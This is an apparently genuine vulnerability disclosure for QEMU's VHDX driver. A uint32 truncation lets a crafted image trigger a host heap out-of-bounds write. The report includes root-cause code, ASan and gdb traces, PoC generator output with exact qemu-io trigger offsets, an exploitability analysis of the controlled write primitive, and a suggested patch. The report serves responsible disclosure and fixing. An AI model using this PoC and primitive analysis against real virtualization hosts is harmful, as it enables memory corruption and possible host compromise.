# Summary I found the bugs when I was porting fuzzer and just testing qemu against old corpus set (not from fuzzing qemu). After manually confirming the crash, I then used AI to help me do the root cause analysis, exec flow trace, and commit history tracking. With the PoC I can trigger a host-side AddressSanitizer heap out-of-bounds **write** in current QEMU master (`5f664cd37a`) and in every released QEMU back to v1.5.0, through the VHDX block driver's Block Allocation Table. `vhdx_open()` computes the BAT entry count with a `uint32_t` quotient of a `uint64_t` dividend (`block/vhdx.c:879`). The image's `VirtualDiskSize` metadata field is never bounds-checked on the open path - `VHDX_MAX_IMAGE_SIZE` is enforced only in the _create_ path (`block/vhdx.c:1935`) - so a crafted image can make that division truncate. The result is that `bs->total_sectors` is derived from the full 64-bit size while `s->bat_entries` is derived from the truncated one, and the two disagree by a factor of 2^32. `vhdx_block_translate()` then converts a sector number to a BAT index with no bound check at all, so an I/O to a high LBA - which the block layer considers perfectly in range, because `total_sectors` says so - indexes past the end of the BAT allocation. The resulting primitive is a repeatable 8-byte heap write at an attacker-selected displacement, not merely an over-read. The index is a `uint32_t` derived from the guest LBA, giving roughly 32 GiB of reach above the BAT allocation; the stored value is `ROUND_UP(image_file_length, 1 MiB) | state`, which the attacker also controls by choosing the image file's size. Separately, because `vhdx_region_check()` validates only region **overlap** and never a size bound, the attacker independently chooses the size of the allocation being overflowed, which selects its heap size class. By inspection of each tag's `block/vhdx.c`: the truncation and the `total_sectors` / `bat_entries` decoupling arrived with the driver itself (`e8d4e5ffdb`, 2013-04-29), but were inert there - that commit's `vhdx_co_readv`/`vhdx_co_writev` are `return -ENOTSUP` stubs and `vhdx_block_translate()` does not yet exist. The unchecked index becomes reachable in `059e2fbbca` ("block: add read-only support to VHDX image format", same day), first released in **v1.5.0** - that is the out-of-bounds **read**, in 155 release tags. The out-of-bounds **write** arrives with `vhdx_update_bat_table_entry()` in `d92aa8833c` ("block: vhdx write support", 2013-10-30), first released in **v1.7.0** — 148 release tags. No release in either set is clean: `vhdx_block_translate()` has never contained a bound check in any tag. Reported By: Ken Hsu, Royce Lu, and Bo Qu of Palo Alto Networks # Environment Reproduced on current master: - QEMU commit: `5f664cd37aec17e8145aa117d8da68f507edc8f1` (2026-09-13) - QEMU version string: `qemu-io version 11.1.50 (v11.1.0-1468-g5f664cd37a)` - target: `x86_64-softmmu` - machine used by reproducer: n/a - the bug is in the block driver; the PoC drives it through `qemu-io` - device: any guest-visible block device backed by a `vhdx` image (e.g. `-device virtio-blk-pci,drive=d0 -drive if=none,id=d0,format=vhdx,file=evil.vhdx`) - trigger interface: a normal guest write to a high LBA, or any host-side tool that opens the image (`qemu-io`, `qemu-img convert`, `qemu-nbd`) - ASan build: `CC=clang CXX=clang++ ../configure --target-list=x86_64-softmmu --enable-asan --enable-ubsan --disable-werror` Note on observing the write: a plain `--enable-asan` build halts on the out-of-bounds _read_ at `block/vhdx.c:1152`, which happens first and thus prevents the write from happening/being observed. `ASAN_OPTIONS=halt_on_error=0` does **not** help, because error recovery is a compile-time property. `block/vhdx.c` must be compiled with `-fsanitize-recover=address`; `build-recover.sh` does this for that one translation unit and relinks into `/tmp`, leaving the QEMU tree untouched. Affected releases (verified by inspecting the code in each tag, not by commit containment): | Version | BAT entry count computation | OOB read | OOB write | |---------|-----------------------------|----------|-----------| | master `5f664cd37a` | `uint32_t data_blocks_cnt = DIV_ROUND_UP(u64, ...)` | **yes** (reproduced) | **yes** (reproduced) | | v11.1.1, v11.1.0 | same | yes | yes | | v11.0.4 and all v11.0.x | same | yes | yes | | v10.0.13 and all v10.x | same | yes | yes | | v1.7.0 … v9.x (`vhdx_calc_bat_entries`) | same, factored into a helper by `1e74a971cb` | yes | yes | | v1.5.0 … v1.6.2 (pre-refactor, inline) | `uint32_t data_blocks_cnt = s->virtual_disk_size >> s->block_size_bits` | yes | no - `vhdx_co_writev()` is a bare `return -ENOTSUP;` stub until `d92aa8833c` | | before v1.5.0 | no `block/vhdx.c` | n/a | n/a | 155 release tags matching `vX.Y.Z` carry the out-of-bounds read (every tag that has the file); 148 of them, v1.7.0 onward, additionally carry the write. `vhdx_block_translate()` contains no comparison against `s->bat_entries` in any of the 155 - there is no clean release in either set. Only the master result is from execution; the per-tag rows are just source inspection (i.e I did not build 2013-era QEMU). # Root Cause Analysis Affected driver: `vhdx` (`block/vhdx.c`), reachable whenever QEMU opens a VHDX image. ## Bug 1: uint32_t truncation decouples total_sectors from bat_entries (vhdx_calc_bat_entries in block/vhdx.c:875-889) `s->virtual_disk_size` is a `uint64_t` read straight from the image's `VirtualDiskSize` metadata item (byte-swapped at `block/vhdx.c:817`). The quotient is stored as `uint32_t`: ``` static void vhdx_calc_bat_entries(BDRVVHDXState *s) { uint32_t data_blocks_cnt, bitmap_blocks_cnt; data_blocks_cnt = DIV_ROUND_UP(s->virtual_disk_size, s->block_size); bitmap_blocks_cnt = DIV_ROUND_UP(data_blocks_cnt, s->chunk_ratio); if (s->parent_entries) { s->bat_entries = bitmap_blocks_cnt * (s->chunk_ratio + 1); } else { s->bat_entries = data_blocks_cnt + ((data_blocks_cnt - 1) >> s->chunk_ratio_bits); } } ``` The caller uses the untruncated value for the addressable range and the truncated one for the allocation (`block/vhdx.c:1059-1080`): ``` s->block_size = s->params.block_size; /* the VHDX spec dictates that virtual_disk_size is always a multiple of * logical_sector_size */ bs->total_sectors = s->virtual_disk_size >> s->logical_sector_size_bits; /* :1063 full 64-bit */ vhdx_calc_bat_entries(s); /* :1065 truncated */ s->bat_offset = s->bat_rt.file_offset; if (s->bat_entries > s->bat_rt.length / sizeof(VHDXBatEntry)) { /* :1069 */ /* BAT allocation is not large enough for all entries */ ret = -EINVAL; goto fail; } /* s->bat is freed in vhdx_close() */ s->bat = qemu_try_blockalign(bs->file->bs, s->bat_rt.length); /* :1076 */ ``` The sanity check at `:1069` does not help. It compares the _truncated_ `bat_entries` against the BAT region length, so a small truncated value passes trivially while `total_sectors` stays enormous. In the PoC, `bat_entries` is 100 and the region holds 131072 entries: the check is satisfied by a factor of 1300, and the image is accepted. `virtual_disk_size` is never validated on this path. `vhdx_parse_metadata()` (`block/vhdx.c:821-860`) checks `block_size` against `VHDX_BLOCK_SIZE_MIN`/`MAX` (`:821`), requires `logical_sector_size` to be exactly 512 (`:828`), and enforces power-of-two on four fields (`:844`, `:848`, `:852`, `:857`) - but applies no bound to `virtual_disk_size`. `VHDX_MAX_IMAGE_SIZE` (64 TiB, `block/vhdx.h:289`) is referenced in exactly one place, the create path at `block/vhdx.c:1935`. ## Bug 2: vhdx_block_translate() has no bound check (block/vhdx.c:1127-1152) The translation from sector number to BAT index is pure arithmetic on attacker-controlled values with no validation against `bat_entries` or the allocation length: ``` static void vhdx_block_translate(BDRVVHDXState *s, int64_t sector_num, int nb_sectors, VHDXSectorInfo *sinfo) { uint32_t block_offset; sinfo->bat_idx = sector_num >> s->sectors_per_block_bits; /* :1132 */ block_offset = sector_num - (sinfo->bat_idx << s->sectors_per_block_bits); ... sinfo->bat_idx += sinfo->bat_idx >> s->chunk_ratio_bits; /* :1139 */ ... sinfo->file_offset = s->bat[sinfo->bat_idx] & VHDX_BAT_FILE_OFF_MASK; /* :1152 OOB READ */ ``` `bat_idx` is a `uint32_t` (`block/vhdx.c:134`). Because it is derived directly from the guest LBA and the block layer permits any LBA below `total_sectors`, the attacker selects it, and therefore selects the displacement of the access - up to `2^32 * 8` bytes (\~32 GiB) above the allocation. The function returns `void`; there is no error path to take even if a check were added here without a signature change. ## Bug 3: the out-of-bounds store (vhdx_update_bat_table_entry in block/vhdx.c:1296-1319) On the write path, the same unchecked index is used as a store destination: ``` static void vhdx_update_bat_table_entry(BlockDriverState *bs, BDRVVHDXState *s, VHDXSectorInfo *sinfo, uint64_t *bat_entry_le, uint64_t *bat_offset, int state) { if ((state == PAYLOAD_BLOCK_ZERO) || (state == PAYLOAD_BLOCK_UNDEFINED) || (state == PAYLOAD_BLOCK_NOT_PRESENT) || (state == PAYLOAD_BLOCK_UNMAPPED)) { s->bat[sinfo->bat_idx] = 0; /* :1307 OOB WRITE */ } else { s->bat[sinfo->bat_idx] = sinfo->file_offset; /* :1313 OOB WRITE */ } s->bat[sinfo->bat_idx] |= state & VHDX_BAT_STATE_BIT_MASK; /* :1316 OOB RMW */ *bat_entry_le = cpu_to_le64(s->bat[sinfo->bat_idx]); /* :1318 OOB READ */ *bat_offset = s->bat_offset + sinfo->bat_idx * sizeof(VHDXBatEntry); } ``` A write to an unallocated block reaches this via `vhdx_co_writev()` (`block/vhdx.c:1335-1506`), in the payload-block state switch at `:1376-1470`: states `PAYLOAD_BLOCK_NOT_PRESENT`, `UNDEFINED`, `ZERO`, `UNMAPPED` and `UNMAPPED_v095` all call `vhdx_allocate_block()` and then `vhdx_update_bat_table_entry(..., PAYLOAD_BLOCK_FULLY_PRESENT)` at `:1398`. Since the OOB slot reads as whatever heap memory is there, the state bits it yields decide which branch runs, but every one of the allocating states leads to the store. ## Control over the stored value `vhdx_allocate_block()` (`block/vhdx.c:1259-1291`) sets the value that gets written: ``` current_len = bdrv_co_getlength(bs->file->bs); /* :1265 */ ... *new_offset = current_len; /* :1270 */ /* per the spec, the address for a block is in units of 1MB */ *new_offset = ROUND_UP(*new_offset, 1 * MiB); /* :1273 */ ``` So the stored qword is `ROUND_UP(image_file_length, 1 MiB) | 6`. The attacker controls the image file's length, and therefore the high bits of the written value. In the PoC the image is 8 MiB and the observed store is `0x0000000000800006` - `0x800000` is exactly 8 MiB, confirming the value tracks the file size rather than being incidental. Padding the same image out to a different length moves the value accordingly. With no other change than `truncate -s 64M` on the PoC image, gdb at the same breakpoint shows the store become `0x0000000004000006` (`0x04000000` = 64 MiB) instead of `0x0000000000800006`. The low 3 bits are the payload-block state; everything above them is the attacker's chosen file length, 1 MiB-aligned. ## Control over the overflowed allocation's size `vhdx_region_check()` (`block/vhdx.c:231-250`) validates only that regions do not **overlap**; it imposes no bound on a region's length. Since `:1076` allocates exactly `s->bat_rt.length`, shrinking the BAT region-table entry selects the size of the object that gets overflowed. Doing so requires recomputing the region table's CRC-32C (the region table _is_ checksummed, unlike the metadata region); `vhdx_bat_oob.py --bat-len` implements this. With `--bat-len 4096` the overflowed object moves from a 1 MiB mmap-backed region to a 4096-byte allocation in a different size class: ``` WRITE of size 8 at 0x525000002000 thread T0 #0 ... in vhdx_update_bat_table_entry ../block/vhdx.c:1313:33 #1 ... in vhdx_co_writev ../block/vhdx.c:1398:17 0x525000002000 is located 0 bytes after 4096-byte region [0x525000001000,0x525000002000) ``` versus the default 1 MiB case, `0x7fc4c45e1000 is located 0 bytes after 1048576-byte region`. Note the addresses come from different allocator regions entirely (`0x5250...` versus `0x7fc4...`), because the 1 MiB request is served by mmap while the 4096-byte one comes from a size-class bin. This matters for exploitability: by choosing bat_rt.length the attacker chooses which allocator path serves the overflowed buffer, and therefore which class of objects can be placed after it. ## Why this is not caught by validation elsewhere `vhdx_check_bat_entries()` (`block/vhdx.c:905`) iterates `for (i = 0; i < s->bat_entries; i++)` — over the _truncated_ count — so it stays in bounds and reports nothing. `qemu-img check` on the PoC image is clean: ``` $ qemu-img check -f vhdx evil.vhdx No errors were found on the image. rc=0 ``` `qemu-img info` shows the 4 PiB size plainly, but nothing rejects it: ``` image: evil.vhdx file format: vhdx virtual size: 4 PiB (4503599732228096 bytes) disk size: 8 MiB cluster_size: 1048576 ``` The PoC patches exactly one 8-byte field. The VHDX metadata region carries no checksum - only the headers and the region table do - so by default no CRC recomputation is needed at all. # Steps to Reproduce 1. Do QEMU ASan build: ``` cd ~/targets/qemu && mkdir -p build-asan && cd build-asan && CC=clang CXX=clang++ ../configure --enable-asan --enable-ubsan --disable-werror --target-list=x86_64-softmmu ninja qemu-io qemu-img ``` 2. Build the recover-enabled `qemu-io` so the write is visible past the first read error: ``` ./build-recover.sh # rebuilds block/vhdx.c with -fsanitize-recover=address # and relinks to /tmp/qemu-io-recover; QEMU tree untouched ``` 3. Run the attached PoC or test manually 4. Observe the ASan heap-buffer-overflow **WRITE** in `vhdx_update_bat_table_entry` at `block/vhdx.c:1313` If you would rather not run the generator script at all: the malicious image is an ordinary `qemu-img` image with exactly one byte changed, so the whole thing reduces to `qemu-img create` + one `dd` + one `qemu-io`. `MANUAL_REPRO.md` gives that procedure in full, along with a `cmp` you can run against the attached image to confirm it is nothing more than that. The PoC uses `qemu-io` to issue the I/O directly to the block driver, which is the smallest harness that reaches the bug. The same code path is what a guest write reaches: guest I/O to a `virtio-blk`/`ahci`/`nvme` device backed by this image descends through `blk_co_pwritev` -\> `bdrv_co_pwritev_part` -\> `bdrv_driver_pwritev` -\> `vhdx_co_writev`, which is exactly the call stack shown in the ASan trace below. I verified that a `q35` guest configuration accepts the image and reports the inflated geometry - QMP `query-block` on `-machine q35 -device virtio-blk-pci,drive=d0 -drive if=none,id=d0,format=vhdx,file=evil.vhdx` returns `virtual-size: 4503599732228096` with `actual-size: 8388608` - so the high LBAs the bug requires are within the range the guest is told it may address. I did not drive the final write from inside a booted guest OS; the write evidence below is from `qemu-io`. I think validating the issue using `qemu-io` should suffice. If needed, I can do that with full system emulation. ## Run PoC Generator - Generate the Image and Trigger the out-of-bounds write ``` $ ./vhdx_bat_oob.py base.vhdx evil.vhdx block_size = 1048576 (1 MiB) logical_sector_size = 512 sectors_per_block_bits = 11 chunk_ratio = 4096 (bits 12) virtual_disk_size 104857600 -> 4503599732228096 (4.00 PiB) DIV_ROUND_UP(vds, block_size) = 4294967396 -> truncates to 100 bat_entries (u32) = 100 bat_rt.length = 1048576 bytes = 131072 entries gate :1069 bat_entries > bat_rt.length/8 -> 100 > 131072 = False (PASSES) BAT allocation = 1048576 bytes (131072 entries) first OOB bat_idx = 131072 TRIGGER OFFSET = 137406447616 (0x1ffe100000, 128.0 GiB) OOB distance past end = 8 bytes read : qemu-io -f vhdx -c 'read 137406447616 512' evil.vhdx write: qemu-io -f vhdx -c 'write 137406447616 512' evil.vhdx ``` After `evil.vhdx` is generated, run `qemu-io` against it. ``` $ cp evil.vhdx /tmp/w.vhdx $ ASAN_OPTIONS=detect_leaks=0:halt_on_error=0:abort_on_error=0 \ /tmp/qemu-io-recover -f vhdx -c "write 137406447616 512" /tmp/w.vhdx ==3365235==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7fc4c45e1000 at pc 0x55c48a97352d bp 0x7fc4c64f58a0 sp 0x7fc4c64f5898 READ of size 8 at 0x7fc4c45e1000 thread T0 #0 0x55c48a97352c in vhdx_block_translate ~/targets/qemu/build-asan/../block/vhdx.c:1152:26 #1 0x55c48a96d031 in vhdx_co_writev ~/targets/qemu/build-asan/../block/vhdx.c:1370:13 #2 0x55c48a842a1b in bdrv_driver_pwritev ~/targets/qemu/build-asan/../block/io.c:1113:11 #3 0x55c48a8330a0 in bdrv_aligned_pwritev ~/targets/qemu/build-asan/../block/io.c:2132:15 #4 0x55c48a83103e in bdrv_co_pwritev_part ~/targets/qemu/build-asan/../block/io.c:2325:11 #5 0x55c48a7ee935 in blk_co_do_pwritev_part ~/targets/qemu/build-asan/../block/block-backend.c:1443:11 #6 0x55c48a7eecca in blk_co_pwritev_part ~/targets/qemu/build-asan/../block/block-backend.c:1458:11 #7 0x55c48a7eecca in blk_co_pwritev ~/targets/qemu/build-asan/../block/block-backend.c:1480:12 #8 0x55c48a7eecca in blk_co_pwrite ~/targets/qemu/build-asan/../block/block-backend.c:1472:12 #9 0x55c48aa6527d in blk_co_pwrite_entry ~/targets/qemu/build-asan/block/block-gen.c:1959:14 #10 0x55c48ac0e529 in coroutine_trampoline ~/targets/qemu/build-asan/../util/coroutine-ucontext.c:175:9 #11 0x7fc4cb37480f (/lib/x86_64-linux-gnu/libc.so.6+0x5880f) 0x7fc4c45e1000 is located 0 bytes after 1048576-byte region [0x7fc4c44e1000,0x7fc4c45e1000) allocated by thread T0 here: #0 0x55c48a71299b in posix_memalign (/tmp/qemu-io-recover+0x45799b) #1 0x55c48abfa424 in qemu_try_memalign ~/targets/qemu/build-asan/../util/memalign.c:53:11 #2 0x55c48a967915 in vhdx_open ~/targets/qemu/build-asan/../block/vhdx.c:1076:14 #3 0x55c48a75c5f3 in bdrv_open_driver ~/targets/qemu/build-asan/../block.c:1678:15 #4 0x55c48a76817f in bdrv_open_common ~/targets/qemu/build-asan/../block.c:2008:11 #5 0x55c48a76817f in bdrv_open_inherit ~/targets/qemu/build-asan/../block.c:4191:11 #6 0x55c48a76c795 in bdrv_open ~/targets/qemu/build-asan/../block.c:4286:12 #7 0x55c48a7e7b90 in blk_new_open ~/targets/qemu/build-asan/../block/block-backend.c:458:10 #8 0x55c48aaedbbd in openfile ~/targets/qemu/build-asan/../qemu-io.c:108:18 #9 0x55c48aaecbc3 in main ~/targets/qemu/build-asan/../qemu-io.c:675:17 SUMMARY: AddressSanitizer: heap-buffer-overflow ~/targets/qemu/build-asan/../block/vhdx.c:1152:26 in vhdx_block_translate ... ... WRITE of size 8 at 0x7fc4c45e1000 thread T0 #0 0x55c48a9745d0 in vhdx_update_bat_table_entry ~/targets/qemu/build-asan/../block/vhdx.c:1313:33 #1 0x55c48a96d11d in vhdx_co_writev ~/targets/qemu/build-asan/../block/vhdx.c:1398:17 #2 0x55c48a842a1b in bdrv_driver_pwritev ~/targets/qemu/build-asan/../block/io.c:1113:11 #3 0x55c48a8330a0 in bdrv_aligned_pwritev ~/targets/qemu/build-asan/../block/io.c:2132:15 #4 0x55c48a83103e in bdrv_co_pwritev_part ~/targets/qemu/build-asan/../block/io.c:2325:11 #5 0x55c48a7ee935 in blk_co_do_pwritev_part ~/targets/qemu/build-asan/../block/block-backend.c:1443:11 #6 0x55c48a7eecca in blk_co_pwritev_part ~/targets/qemu/build-asan/../block/block-backend.c:1458:11 #7 0x55c48a7eecca in blk_co_pwritev ~/targets/qemu/build-asan/../block/block-backend.c:1480:12 #8 0x55c48a7eecca in blk_co_pwrite ~/targets/qemu/build-asan/../block/block-backend.c:1472:12 #9 0x55c48aa6527d in blk_co_pwrite_entry ~/targets/qemu/build-asan/block/block-gen.c:1959:14 #10 0x55c48ac0e529 in coroutine_trampoline ~/targets/qemu/build-asan/../util/coroutine-ucontext.c:175:9 #11 0x7fc4cb37480f (/lib/x86_64-linux-gnu/libc.so.6+0x5880f) 0x7fc4c45e1000 is located 0 bytes after 1048576-byte region [0x7fc4c44e1000,0x7fc4c45e1000) allocated by thread T0 here: #1 0x55c48abfa424 in qemu_try_memalign ~/targets/qemu/build-asan/../util/memalign.c:53:11 #2 0x55c48a967915 in vhdx_open ~/targets/qemu/build-asan/../block/vhdx.c:1076:14 ... ... Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb wrote 512/512 bytes at offset 137406447616 512 bytes, 1 ops; 00.10 sec (4.968 KiB/sec and 9.9368 ops/sec) ``` ## Confirming the store lands, on a plain build with no sanitizer ASan tells us the access is out of bounds; debugging the ordinary `--enable-debug` build shows that the memory is actually changing: ``` $ gdb -q --args ~/targets/qemu/build-debug/qemu-io -f vhdx -c "write 137406447616 512" /tmp/g.vhdx (gdb) break vhdx_update_bat_table_entry (gdb) run Thread 1 "qemu-io" hit Breakpoint 1, vhdx_update_bat_table_entry (..., state=6) at ../block/vhdx.c:1303 bat_idx = 131072 s->bat_entries = 100 bat_rt.length = 1048576 bytes (= 131072 entries) s->bat = 0x7ffff549f000 &s->bat[bat_idx] = 0x7ffff559f000 PAST END BY = 8 bytes before: 0x7ffff559f000: 0x0000000000000000 (gdb) finish after: 0x7ffff559f000: 0x0000000000800006 ``` `0x7ffff559f000 - 0x7ffff549f000 = 0x100000` = 1048576 = exactly the allocation length, so the store is one qword past the end. The written value `0x800006` is `8 MiB | PAYLOAD_BLOCK_FULLY_PRESENT`. Full log in `gdb-repro.log`. ## Confirming the displacement is attacker-controlled, and that far writes are silent `sweep_write.py` inverts `bat_idx = base + (base >> chunk_ratio_bits)` back to an LBA for a range of target indices and classifies what each one does. Sweeping the first 512 indices past the end of the allocation, 511 map to a real LBA - one index falls in a chunk-ratio gap that no sector number reaches - and every one of those 511 produces a write, none merely a read: ``` $ ./sweep_write.py + 0B idx=131072 off=0x1ffe100000 OOB WRITE @ vhdx.c:1313 + 8B idx=131073 off=0x1ffe200000 OOB WRITE @ vhdx.c:1313 ... + 4088B idx=131583 off=0x201df00000 OOB WRITE @ vhdx.c:1313 reachable indices: 511 OOB WRITE: 511 read-only: 0 other: 0 ``` The sweep takes a displacement range as arguments, so larger reaches can be sampled the same way. At larger displacements the store still completes but ASan goes quiet, because past the redzone the shadow is unpoisoned. At roughly +1 MiB: ``` $ qemu-io -f vhdx -c "write 274809749504 512" /tmp/far.vhdx bat_idx = 262142 PAST END BY = 1048568 bytes target addr = 0x7ffff569eff0 before: 0x7ffff569eff0: 0x0000000000000000 after: 0x7ffff569eff0: 0x0000000000800006 ``` and the same run under ASan reports **zero** errors. This is worth stating explicitly: for this bug, absence of an ASan report does not mean absence of memory corruption. Only the first 8 bytes past the allocation land in a redzone; everything beyond it is silent. At much larger displacements (+128 MiB, +1 GiB) the process takes a SIGSEGV - at the _read_ on `block/vhdx.c:1152`, which is reached before the write. # Impact, Exploitability, And Severity Severity: High Impact: controlled 8-byte heap write out of bounds in the QEMU host process, plus out-of-bounds read and DoS Exploitability: strong primitive - attacker controls displacement, stored value, and the overflowed object's size class; full exploitation still requires a heap-layout strategy that I have not developed This is a write primitive, not only a disclosure bug, which is what distinguishes it from the usual image-parser finding. Three things are under attacker control simultaneously: - **Where.** `bat_idx` is a `uint32_t` derived from the LBA, so the displacement above the BAT allocation is selectable across roughly 32 GiB, at 8-byte granularity. Of the first 512 indices past the end, 511 map to a real LBA and all 511 wrote; larger displacements were spot-checked and also wrote, silently. - **What.** The stored qword is `ROUND_UP(image_file_length, 1 MiB) | state`, and the image file's length is attacker-chosen. The low 3 bits come from the state enum. The value is not arbitrary — it is 1 MiB-aligned with a 3-bit tag — but it is selectable. - **What gets hit.** `bat_rt.length` is unvalidated, so the attacker picks the size of the overflowed allocation, and thus which allocator path serves it and which class of objects can be placed after it. Selecting the _adjacent objects_ is not being demonstrated here; that is the heap-layout work noted above. The write is also repeatable: each I/O to a distinct high LBA performs another store, so a single opened image supports many writes at different offsets without reopening. Per `docs/system/security.rst:32`, user-supplied disk images are an untrusted input in QEMU's threat model, and the affected surface is broad: anything that opens a VHDX image with write access, including `qemu-img convert`, `qemu-nbd`, a management layer inspecting an uploaded image, or a VM configured with a guest-supplied VHDX disk. In the guest-disk case, the open itself is enough to set up the mismatch and any guest write to a high LBA performs the store. I want to be precise about what I did not establish. I did not build a working exploit, and I did not place a specific victim object adjacent to the BAT allocation. Because the aligned value limits what can be forged in one store, an attack would most plausibly target a length, flag, or pointer field where a 1 MiB-aligned value is useful, or combine several stores. I am just reporting the primitives. # Suggested Fix The cleanest fix is to reject oversized images at open time, which removes the truncation at its source. The create path already enforces this limit; the open path simply never did. `VHDX_BLOCK_SIZE_MIN` is 1 MiB, so with the size bounded to `VHDX_MAX_IMAGE_SIZE` (64 TiB) the worst case is `64 TiB / 1 MiB = 67108864` blocks, comfortably inside `uint32_t`. That makes the truncation unreachable rather than merely unlikely. In `vhdx_parse_metadata()`, alongside the existing `block_size` and `logical_sector_size` checks (`block/vhdx.c:821-860`): ``` s->virtual_disk_size = le64_to_cpu(s->virtual_disk_size); s->logical_sector_size = le32_to_cpu(s->logical_sector_size); s->physical_sector_size = le32_to_cpu(s->physical_sector_size); + if (s->virtual_disk_size > VHDX_MAX_IMAGE_SIZE) { + error_setg(errp, "Image size too large; max of 64TB supported"); + return -EINVAL; + } + if (s->params.block_size < VHDX_BLOCK_SIZE_MIN || s->params.block_size > VHDX_BLOCK_SIZE_MAX) { error_setg(errp, "Block size outside of supported range"); return -EINVAL; } ``` The same message is already used at `block/vhdx.c:1935` in the create path, so this only makes open and create agree. As defense in depth, `vhdx_block_translate()` should also refuse an out-of-range index rather than trusting the caller. It currently returns `void`, so this needs a signature change and updates at its three call sites - `vhdx_co_readv()` (`:1203`), `vhdx_co_writev()` (`:1370`) and the create-path caller (`:1764`, already size-checked): ``` -static void vhdx_block_translate(BDRVVHDXState *s, int64_t sector_num, - int nb_sectors, VHDXSectorInfo *sinfo) +static int vhdx_block_translate(BDRVVHDXState *s, int64_t sector_num, + int nb_sectors, VHDXSectorInfo *sinfo) { uint32_t block_offset; sinfo->bat_idx = sector_num >> s->sectors_per_block_bits; block_offset = sector_num - (sinfo->bat_idx << s->sectors_per_block_bits); ... sinfo->bat_idx += sinfo->bat_idx >> s->chunk_ratio_bits; + if (sinfo->bat_idx >= s->bat_entries) { + return -EIO; + } + sinfo->file_offset = s->bat[sinfo->bat_idx] & VHDX_BAT_FILE_OFF_MASK; ... + return 0; } ``` Checking against `s->bat_entries` (rather than `bat_rt.length / 8`) is the tighter bound, since `:1069` already guarantees `bat_entries <= bat_rt.length / 8`. Either change alone stops the PoC; both together are preferable, since the second one also bounds any future path that reaches the translation with an unexpected sector number.